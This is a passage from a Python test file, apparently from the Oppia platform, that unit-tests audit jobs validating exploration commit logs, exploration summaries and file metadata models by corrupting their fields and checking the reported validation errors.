% i, category='category%d' % i, ) for i in xrange(3)] for exp in explorations: exp_services.save_new_exploration(self.owner_id, exp) self.rights_model_instance = ( exp_models.ExplorationCommitLogEntryModel( id='rights-1-1', user_id=self.owner_id, username=self.OWNER_USERNAME, exploration_id='1', commit_type='edit', commit_message='', commit_cmds=[], post_commit_status=constants.ACTIVITY_STATUS_PUBLIC, post_commit_community_owned=False, post_commit_is_private=False)) self.rights_model_instance.put() self.model_instance_0 = ( exp_models.ExplorationCommitLogEntryModel.get_by_id( 'exploration-0-1')) self.model_instance_1 = ( exp_models.ExplorationCommitLogEntryModel.get_by_id( 'exploration-1-1')) self.model_instance_2 = ( exp_models.ExplorationCommitLogEntryModel.get_by_id( 'exploration-2-1')) self.job_class = ( prod_validation_jobs_one_off .ExplorationCommitLogEntryModelAuditOneOffJob) def test_standard_operation(self): exp_services.update_exploration( self.owner_id, '0', [exp_domain.ExplorationChange({ 'cmd': 'edit_exploration_property', 'property_name': 'title', 'new_value': 'New title' })], 'Changes.') expected_output = [ u'[u\'fully-validated ExplorationCommitLogEntryModel\', 5]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of ExplorationCommitLogEntryModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), u'[u\'fully-validated ExplorationCommitLogEntryModel\', 3]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete() self.model_instance_2.delete() self.rights_model_instance.delete() expected_output = [( u'[u\'failed validation check for current time check of ' 'ExplorationCommitLogEntryModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_exploration_model_failure(self): exp_models.ExplorationModel.get_by_id('0').delete( feconf.SYSTEM_COMMITTER_ID, '', []) expected_output = [ ( u'[u\'failed validation check for exploration_ids ' 'field check of ExplorationCommitLogEntryModel\', ' '[u"Entity id exploration-0-1: based on field ' 'exploration_ids having value 0, expect model ' 'ExplorationModel with id 0 ' 'but it doesn\'t exist", u"Entity id exploration-0-2: based ' 'on field exploration_ids having value 0, expect model ' 'ExplorationModel with id 0 but it doesn\'t exist"]]' ), u'[u\'fully-validated ExplorationCommitLogEntryModel\', 3]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_exploration_rights_model_failure(self): exp_models.ExplorationRightsModel.get_by_id('1').delete( feconf.SYSTEM_COMMITTER_ID, '', []) expected_output = [ ( u'[u\'failed validation check for exploration_rights_ids ' 'field check of ExplorationCommitLogEntryModel\', ' '[u"Entity id rights-1-1: based on field ' 'exploration_rights_ids having value 1, expect model ' 'ExplorationRightsModel with id 1 but it doesn\'t exist"]]' ), u'[u\'fully-validated ExplorationCommitLogEntryModel\', 3]'] run_job_and_check_output( self, expected_output, sort=True) def test_invalid_exploration_version_in_model_id(self): model_with_invalid_version_in_id = ( exp_models.ExplorationCommitLogEntryModel.create( '0', 3, self.owner_id, self.OWNER_USERNAME, 'edit', 'msg', [{}], constants.ACTIVITY_STATUS_PUBLIC, False)) model_with_invalid_version_in_id.exploration_id = '0' model_with_invalid_version_in_id.put() expected_output = [ ( u'[u\'failed validation check for exploration model ' 'version check of ExplorationCommitLogEntryModel\', ' '[u\'Entity id %s: Exploration model corresponding ' 'to id 0 has a version 1 which is less than ' 'the version 3 in commit log entry model id\']]' ) % (model_with_invalid_version_in_id.id), u'[u\'fully-validated ExplorationCommitLogEntryModel\', 4]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_id(self): model_with_invalid_id = ( exp_models.ExplorationCommitLogEntryModel( id='invalid-0-1', user_id=self.owner_id, username=self.OWNER_USERNAME, commit_type='edit', commit_message='msg', commit_cmds=[{}], post_commit_status=constants.ACTIVITY_STATUS_PUBLIC, post_commit_is_private=False)) model_with_invalid_id.exploration_id = '0' model_with_invalid_id.put() expected_output = [ ( u'[u\'failed validation check for model id check of ' 'ExplorationCommitLogEntryModel\', ' '[u\'Entity id %s: Entity id does not match regex pattern\']]' ) % (model_with_invalid_id.id), ( u'[u\'failed validation check for commit cmd check of ' 'ExplorationCommitLogEntryModel\', [u\'Entity id invalid-0-1: ' 'No commit command domain object defined for entity with ' 'commands: [{}]\']]'), u'[u\'fully-validated ExplorationCommitLogEntryModel\', 4]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_commit_type(self): self.model_instance_0.commit_type = 'invalid' self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for commit type check of ' 'ExplorationCommitLogEntryModel\', ' '[u\'Entity id exploration-0-1: Commit type invalid is ' 'not allowed\']]' ), u'[u\'fully-validated ExplorationCommitLogEntryModel\', 3]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_post_commit_status(self): self.model_instance_0.post_commit_status = 'invalid' self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for post commit status check ' 'of ExplorationCommitLogEntryModel\', ' '[u\'Entity id exploration-0-1: Post commit status invalid ' 'is invalid\']]' ), u'[u\'fully-validated ExplorationCommitLogEntryModel\', 3]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_true_post_commit_is_private(self): self.model_instance_0.post_commit_status = 'public' self.model_instance_0.post_commit_is_private = True self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for post commit is private ' 'check of ExplorationCommitLogEntryModel\', ' '[u\'Entity id %s: Post commit status is ' 'public but post_commit_is_private is True\']]' ) % self.model_instance_0.id, u'[u\'fully-validated ExplorationCommitLogEntryModel\', 3]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_false_post_commit_is_private(self): self.model_instance_0.post_commit_status = 'private' self.model_instance_0.post_commit_is_private = False self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for post commit is private ' 'check of ExplorationCommitLogEntryModel\', ' '[u\'Entity id %s: Post commit status is ' 'private but post_commit_is_private is False\']]' ) % self.model_instance_0.id, u'[u\'fully-validated ExplorationCommitLogEntryModel\', 3]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_commit_cmd_schmea(self): self.model_instance_0.commit_cmds = [{ 'cmd': 'add_state' }, { 'cmd': 'delete_state', 'invalid_attribute': 'invalid' }] self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for commit cmd ' 'delete_state check of ' 'ExplorationCommitLogEntryModel\', ' '[u"Entity id exploration-0-1: Commit command domain ' 'validation for command: {u\'cmd\': u\'delete_state\', ' 'u\'invalid_attribute\': u\'invalid\'} ' 'failed with error: The following required attributes ' 'are missing: state_name, ' 'The following extra attributes are present: ' 'invalid_attribute"]]' ), ( u'[u\'failed validation check for commit cmd ' 'add_state check of ' 'ExplorationCommitLogEntryModel\', ' '[u"Entity id exploration-0-1: Commit command domain ' 'validation for command: {u\'cmd\': u\'add_state\'} ' 'failed with error: The following required attributes ' 'are missing: state_name"]]' ), u'[u\'fully-validated ExplorationCommitLogEntryModel\', 3]'] run_job_and_check_output(self, expected_output, sort=True) class ExpSummaryModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(ExpSummaryModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.signup(USER_EMAIL, USER_NAME) self.user_id = self.get_user_id_from_email(USER_EMAIL) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) self.owner = user_services.UserActionsInfo(self.owner_id) editor_email = 'user@editor.com' viewer_email = 'user@viewer.com' contributor_email = 'user@contributor.com' self.signup(editor_email, 'editor') self.signup(viewer_email, 'viewer') self.signup(contributor_email, 'contributor') self.editor_id = self.get_user_id_from_email(editor_email) self.viewer_id = self.get_user_id_from_email(viewer_email) self.contributor_id = self.get_user_id_from_email(contributor_email) language_codes = ['ar', 'en', 'en'] explorations = [exp_domain.Exploration.create_default_exploration( '%s' % i, title='title %d' % i, category='category%d' % i, language_code=language_codes[i] ) for i in xrange(3)] for exp in explorations: exp.tags = ['math', 'art'] exp_services.save_new_exploration(self.owner_id, exp) rights_manager.assign_role_for_exploration( self.owner, '0', self.editor_id, rights_manager.ROLE_EDITOR) exp_services.update_exploration( self.contributor_id, '0', [exp_domain.ExplorationChange({ 'cmd': 'edit_exploration_property', 'property_name': 'title', 'new_value': 'New title' })], 'Changes.') rights_manager.assign_role_for_exploration( self.owner, '2', self.viewer_id, rights_manager.ROLE_VIEWER) rating_services.assign_rating_to_exploration(self.user_id, '0', 3) rating_services.assign_rating_to_exploration(self.viewer_id, '0', 4) self.model_instance_0 = exp_models.ExpSummaryModel.get_by_id('0') self.model_instance_1 = exp_models.ExpSummaryModel.get_by_id('1') self.model_instance_2 = exp_models.ExpSummaryModel.get_by_id('2') self.job_class = ( prod_validation_jobs_one_off.ExpSummaryModelAuditOneOffJob) def test_standard_operation(self): rights_manager.publish_exploration(self.owner, '0') exp_services.update_exploration( self.owner_id, '1', [exp_domain.ExplorationChange({ 'cmd': 'edit_exploration_property', 'property_name': 'title', 'new_value': 'New title' })], 'Changes.') expected_output = [ u'[u\'fully-validated ExpSummaryModel\', 3]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of ExpSummaryModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), u'[u\'fully-validated ExpSummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): exp_models.ExplorationModel.get_by_id('1').delete( self.owner_id, '') exp_models.ExplorationModel.get_by_id('2').delete( self.owner_id, '') self.model_instance_1.delete() self.model_instance_2.delete() expected_output = [( u'[u\'failed validation check for current time check of ' 'ExpSummaryModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_model_with_first_published_datetime_than_current_time(self): rights_manager.publish_exploration(self.owner, '0') rights_manager.publish_exploration(self.owner, '1') self.model_instance_0 = exp_models.ExpSummaryModel.get_by_id('0') self.model_instance_0.first_published_msec = ( self.model_instance_0.first_published_msec * 1000000.0) self.model_instance_0.put() rights_model = exp_models.ExplorationRightsModel.get_by_id('0') rights_model.first_published_msec = ( self.model_instance_0.first_published_msec) rights_model.commit(self.owner_id, '', []) expected_output = [ ( u'[u\'failed validation check for first published msec check ' 'of ExpSummaryModel\', ' '[u\'Entity id 0: The first_published_msec field has a ' 'value %s which is greater than the time when the ' 'job was run\']]' ) % (self.model_instance_0.first_published_msec), u'[u\'fully-validated ExpSummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_exploration_model_failure(self): exp_models.ExplorationModel.get_by_id('0').delete( feconf.SYSTEM_COMMITTER_ID, '', []) expected_output = [ ( u'[u\'failed validation check for exploration_ids ' 'field check of ExpSummaryModel\', ' '[u"Entity id 0: based on field exploration_ids having ' 'value 0, expect model ExplorationModel with id 0 but ' 'it doesn\'t exist"]]'), u'[u\'fully-validated ExpSummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_owner_user_model_failure(self): rights_manager.assign_role_for_exploration( self.owner, '0', self.user_id, rights_manager.ROLE_OWNER) user_models.UserSettingsModel.get_by_id(self.user_id).delete() expected_output = [ ( u'[u\'failed validation check for owner_user_ids ' 'field check of ExpSummaryModel\', ' '[u"Entity id 0: based on field owner_user_ids having ' 'value %s, expect model UserSettingsModel with id %s ' 'but it doesn\'t exist"]]') % (self.user_id, self.user_id), u'[u\'fully-validated ExpSummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_editor_user_model_failure(self): user_models.UserSettingsModel.get_by_id(self.editor_id).delete() expected_output = [ ( u'[u\'failed validation check for editor_user_ids ' 'field check of ExpSummaryModel\', ' '[u"Entity id 0: based on field editor_user_ids having ' 'value %s, expect model UserSettingsModel with id %s but ' 'it doesn\'t exist"]]') % ( self.editor_id, self.editor_id), u'[u\'fully-validated ExpSummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_viewer_user_model_failure(self): user_models.UserSettingsModel.get_by_id(self.viewer_id).delete() expected_output = [ ( u'[u\'failed validation check for viewer_user_ids ' 'field check of ExpSummaryModel\', ' '[u"Entity id 2: based on field viewer_user_ids having ' 'value %s, expect model UserSettingsModel with id %s but ' 'it doesn\'t exist"]]') % ( self.viewer_id, self.viewer_id), u'[u\'fully-validated ExpSummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_contributor_user_model_failure(self): user_models.UserSettingsModel.get_by_id(self.contributor_id).delete() expected_output = [ ( u'[u\'failed validation check for contributor_user_ids ' 'field check of ExpSummaryModel\', ' '[u"Entity id 0: based on field contributor_user_ids having ' 'value %s, expect model UserSettingsModel with id %s but ' 'it doesn\'t exist"]]') % ( self.contributor_id, self.contributor_id), u'[u\'fully-validated ExpSummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_exploration_model_last_updated(self): last_human_update_time = ( self.model_instance_0.exploration_model_last_updated) self.model_instance_0.exploration_model_last_updated = ( datetime.datetime.utcnow() + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for exploration model last ' 'updated check of ExpSummaryModel\', ' '[u\'Entity id %s: The exploration_model_last_updated ' 'field: %s does not match the last time a commit was ' 'made by a human contributor: %s\']]' ) % ( self.model_instance_0.id, self.model_instance_0.exploration_model_last_updated, last_human_update_time), u'[u\'fully-validated ExpSummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_schema(self): self.model_instance_0.ratings = {'10': 4, '5': 15} self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for domain object check of ' 'ExpSummaryModel\', ' '[u\'Entity id 0: Entity fails domain validation with ' 'the error Expected ratings to have keys: 1, 2, 3, 4, 5, ' 'received 10, 5\']]' ), u'[u\'fully-validated ExpSummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_contributors_summary(self): sorted_contributor_ids = sorted( self.model_instance_0.contributors_summary.keys()) self.model_instance_0.contributors_summary = {'invalid': 1} self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for contributors summary ' 'check of ExpSummaryModel\', ' '[u"Entity id 0: Contributor ids: [u\'%s\', u\'%s\'] ' 'do not match the contributor ids obtained using ' 'contributors summary: [u\'invalid\']"]]') % ( sorted_contributor_ids[0], sorted_contributor_ids[1] ), u'[u\'fully-validated ExpSummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_exploration_related_property(self): self.model_instance_0.title = 'invalid' self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for title field check of ' 'ExpSummaryModel\', ' '[u\'Entity id %s: title field in entity: invalid does not ' 'match corresponding exploration title field: New title\']]' ) % self.model_instance_0.id, u'[u\'fully-validated ExpSummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_exploration_rights_related_property(self): self.model_instance_0.status = 'public' self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for status field check of ' 'ExpSummaryModel\', ' '[u\'Entity id %s: status field in entity: public does not ' 'match corresponding exploration rights status field: ' 'private\']]' ) % self.model_instance_0.id, u'[u\'fully-validated ExpSummaryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) class FileMetadataModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(FileMetadataModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) explorations = [exp_domain.Exploration.create_default_exploration( 'exp%s' % i, title='title %d' % i, category='category%d' % i, ) for i in xrange(2)] for exp in explorations: exp_services.save_new_exploration(self.owner_id, exp) self.model_instance_0 = file_models.FileMetadataModel.create( 'exploration/exp0', 'assets/image/img0.png') self.model_instance_0.commit(self.owner_id, []) self.model_instance_1 = file_models.FileMetadataModel.create( 'exploration/exp1', '/exploration/exp1/assets/audio/aud1.mp3') self.model_instance_1.commit(self.owner_id, []) self.job_class = ( prod_validation_jobs_one_off.FileMetadataModelAuditOneOffJob) def test_standard_operation(self): expected_output = [ u'[u\'fully-validated FileMetadataModel\', 2]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.commit(feconf.SYSTEM_COMMITTER_ID, []) expected_output = [ ( u'[u\'failed validation check for time field relation check ' 'of FileMetadataModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), u'[u\'fully-validated FileMetadataModel\', 1]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete(feconf.SYSTEM_COMMITTER_ID, 'delete') expected_output = [( u'[u\'failed validation check for current time check of ' 'FileMetadataModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_exploration_model_failure(self): exp_models.ExplorationModel.get_by_id('exp1').delete( feconf.SYSTEM_COMMITTER_ID, '', []) expected_output = [ ( u'[u\'failed validation check for exploration_ids field ' 'check of FileMetadataModel\', ' '[u"Entity id %s: based on field exploration_ids having ' 'value exp1, expect model ExplorationModel with id exp1 but it ' 'doesn\'t exist"]]') % self.model_instance_1.id, u'[u\'fully-validated FileMetadataModel\', 1]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_snapshot_metadata_model_failure(self): file_models.FileMetadataSnapshotMetadataModel.get_by_id( '%s-1' % self.model_instance_0.id).delete() expected_output = [ ( u'[u\'failed validation check for snapshot_metadata_ids ' 'field check of FileMetadataModel\', ' '[u"Entity id %s: based on field snapshot_metadata_ids ' 'having value %s-1, expect model ' 'FileMetadataSnapshotMetadataModel ' 'with id %s-1 but it doesn\'t exist"]]') % ( self.model_instance_0.id, self.model_instance_0.id, self.model_instance_0.id), u'[u\'fully-validated FileMetadataModel\', 1]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_snapshot_content_model_failure(self): file_models.FileMetadataSnapshotContentModel.get_by_id( '%s-1' % self.model_instance_0.id).delete() expected_output = [ ( u'[u\'failed validation check for snapshot_content_ids ' 'field check of FileMetadataModel\', ' '[u"Entity id %s: based on field snapshot_content_ids having ' 'value %s-1, expect model FileMetadataSnapshotContentModel ' 'with id %s-1 but it doesn\'t exist"]]') % ( self.model_instance_0.id, self.model_instance_0.id, self.model_instance_0.id), u'[u\'fully-validated FileMetadataModel\', 1]'] run_job_and_check_output(self, expected_output, sort=True) class FileMetadataSnapshotMetadataModelValidatorTests( test_utils.GenericTestBase): def setUp(self): super(FileMetadataSnapshotMetadataModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.signup(USER_EMAIL, USER_NAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) self.user_id = self.get_user_id_from_email(USER_EMAIL) explorations = [exp_domain.Exploration.create_default_exploration( 'exp%s' % i, title='title %d' % i, category='category%d' % i, ) for i in xrange(2)] for exp in explorations: exp_services.save_new_exploration(self.owner_id, exp) file_metadata_model_0 = file_models.FileMetadataModel.create( 'exploration/exp0', 'assets/image/img0.png') file_metadata_model_0.commit(self.owner_id, []) file_metadata_model_1 = file_models.FileMetadataModel.create( 'exploration/exp1', '/exploration/exp1/assets/audio/aud1.mp3') file_metadata_model_1.commit(self.user_id, []) self.id_0 = file_metadata_model_0.id self.id_1 = file_metadata_model_1.id self.model_instance_0 = ( file_models.FileMetadataSnapshotMetadataModel.get_by_id( '%s-1' % self.id_0)) self.model_instance_1 = ( file_models.FileMetadataSnapshotMetadataModel.get_by_id( '%s-1' % self.id_1)) self.job_class = ( prod_validation_jobs_one_off .FileMetadataSnapshotMetadataModelAuditOneOffJob) def test_standard_operation(self): expected_output = [ u'[u\'fully-validated FileMetadataSnapshotMetadataModel\', 2]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of FileMetadataSnapshotMetadataModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), ( u'[u\'fully-validated ' 'FileMetadataSnapshotMetadataModel\', 1]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete() expected_output = [( u'[u\'failed validation check for current time check of ' 'FileMetadataSnapshotMetadataModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_file_metadata_model_failure(self): file_models.FileMetadataModel.get_by_id(self.id_0).delete( self.owner_id, '', []) expected_output = [ ( u'[u\'failed validation check for file_metadata_ids ' 'field check of FileMetadataSnapshotMetadataModel\', ' '[u"Entity id %s-1: based on field file_metadata_ids ' 'having value %s, expect model FileMetadataModel with ' 'id %s but it doesn\'t exist", u"Entity id %s-2: based on ' 'field file_metadata_ids having value %s, expect model ' 'FileMetadataModel with id %s but it doesn\'t exist"]]' ) % ( self.id_0, self.id_0, self.id_0, self.id_0, self.id_0, self.id_0 ), u'[u\'fully-validated FileMetadataSnapshotMetadataModel\', 1]'] run_job_and_check_output( self, expected_output, literal_eval=True) def test_missing_committer_model_failure(self): user_models.UserSettingsModel.get_by_id(self.user_id).delete() expected_output = [ ( u'[u\'failed validation check for committer_ids field ' 'check of FileMetadataSnapshotMetadataModel\', ' '[u"Entity id %s-1: based on field committer_ids having ' 'value %s, expect model UserSettingsModel with id %s ' 'but it doesn\'t exist"]]' ) % (self.id_1, self.user_id, self.user_id), ( u'[u\'fully-validated ' 'FileMetadataSnapshotMetadataModel\', 1]')] run_job_and_check_output(self, expected_output, sort=True) def test_invalid_file_metadata_version_in_model_id(self): model_with_invalid_version_in_id = ( file_models.FileMetadataSnapshotMetadataModel( id='%s-3' % self.id_0, committer_id=self.owner_id, commit_type='edit', commit_message='msg', commit_cmds=[{}])) model_with_invalid_version_in_id.put() expected_output = [ ( u'[u\'failed validation check for file metadata model ' 'version check of FileMetadataSnapshotMetadataModel\', ' '[u\'Entity id %s-3: FileMetadata model corresponding to ' 'id %s has a version 1 which is less than the version 3 in ' 'snapshot metadata model id\']]' ) % (self.id_0, self.id_0), ( u'[u\'fully-validated FileMetadataSnapshotMetadataModel\', ' '2]')] run_job_and_check_output(self, expected_output, sort=True) class FileMetadataSnapshotContentModelValidatorTests( test_utils.GenericTestBase): def setUp(self): super(FileMetadataSnapshotContentModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) explorations = [exp_domain.Exploration.create_default_exploration( 'exp%s' % i, title='title %d' % i, category='category%d' % i, ) for i in xrange(2)] for exp in explorations: exp_services.save_new_exploration(self.owner_id, exp) file_metadata_model_0 = file_models.FileMetadataModel.create( 'exploration/exp0', 'assets/image/img0.png') file_metadata_model_0.commit(self.owner_id, []) file_metadata_model_1 = file_models.FileMetadataModel.create( 'exploration/exp1', '/exploration/exp1/assets/audio/aud1.mp3') file_metadata_model_1.commit(self.owner_id, []) self.id_0 = file_metadata_model_0.id self.id_1 = file_metadata_model_1.id self.model_instance_0 = ( file_models.FileMetadataSnapshotContentModel.get_by_id( '%s-1' % self.id_0)) self.model_instance_1 = ( file_models.FileMetadataSnapshotContentModel.get_by_id( '%s-1' % self.id_1)) self.job_class = ( prod_validation_jobs_one_off .FileMetadataSnapshotContentModelAuditOneOffJob) def test_standard_operation(self): expected_output = [ u'[u\'fully-validated FileMetadataSnapshotContentModel\', 2]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of FileMetadataSnapshotContentModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), ( u'[u\'fully-validated ' 'FileMetadataSnapshotContentModel\', 1]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete() expected_output = [( u'[u\'failed validation check for current time check of ' 'FileMetadataSnapshotContentModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_file_metadata_model_failure(self): file_models.FileMetadataModel.get_by_id( self.id_0).delete(self.owner_id, '', []) expected_output = [ ( u'[u\'failed validation check for file_metadata_ids ' 'field check of FileMetadataSnapshotContentModel\', ' '[u"Entity id %s-1: based on field file_metadata_ids ' 'having value %s, expect model FileMetadataModel with ' 'id %s but it doesn\'t exist", u"Entity id %s-2: based on ' 'field file_metadata_ids having value %s, expect model ' 'FileMetadataModel with id %s but it doesn\'t exist"]]' ) % ( self.id_0, self.id_0, self.id_0, self.id_0, self.id_0, self.id_0), u'[u\'fully-validated FileMetadataSnapshotContentModel\', 1]'] run_job_and_check_output(self, expected_output, literal_eval=True) def test_invalid_file_metadata_version_in_model_id(self): model_with_invalid_version_in_id = ( file_models.FileMetadataSnapshotContentModel( id='%s-3' % self.id_0)) model_with_invalid_version_in_id.content = {} model_with_invalid_version_in_id.put() expected_output = [ ( u'[u\'failed validation check for file metadata model ' 'version check of FileMetadataSnapshotContentModel\', ' '[u\'Entity id %s-3: FileMetadata model corresponding to ' 'id %s has a version 1 which is less than ' 'the version 3 in snapshot content model id\']]' ) % (self.id_0, self.id_0), ( u'[u\'fully-validated FileMetadataSnapshotContentModel\', ' '2]')] run_job_and_check_output(self, expected_output, sort=True) class FileModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(FileModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) explorations = [exp_domain.Exploration.create_default_exploration( 'exp%s' % i, title='title %d' % i, category='category%d' % i, ) for i in xrange(2)] for exp in explorations: exp_services.save_new_exploration(self.owner_id, exp) self.model_instance_0 = file_models.FileModel.create( 'exploration/exp0', 'assets/image/img0.png') self.model_instance_0.commit(self.owner_id, []) self.model_instance_1 = file_models.FileModel.create( 'exploration/exp1', '/exploration/exp1/assets/audio/aud1.mp3') self.model_instance_1.commit(self.owner_id, []) self.job_class = ( prod_validation_jobs_one_off.FileModelAuditOneOffJob) def test_standard_operation(self): expected_output = [ u'[u\'fully-validated FileModel\', 2]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.commit(feconf.SYSTEM_COMMITTER_ID, []) expected_output = [ ( u'[u\'failed validation check for time field relation check ' 'of FileModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), u'[u\'fully-validated FileModel\', 1]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete(feconf.SYSTEM_COMMITTER_ID, 'delete') expected_output = [( u'[u\'failed validation check for current time check of ' 'FileModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_exploration_model_failure(self): 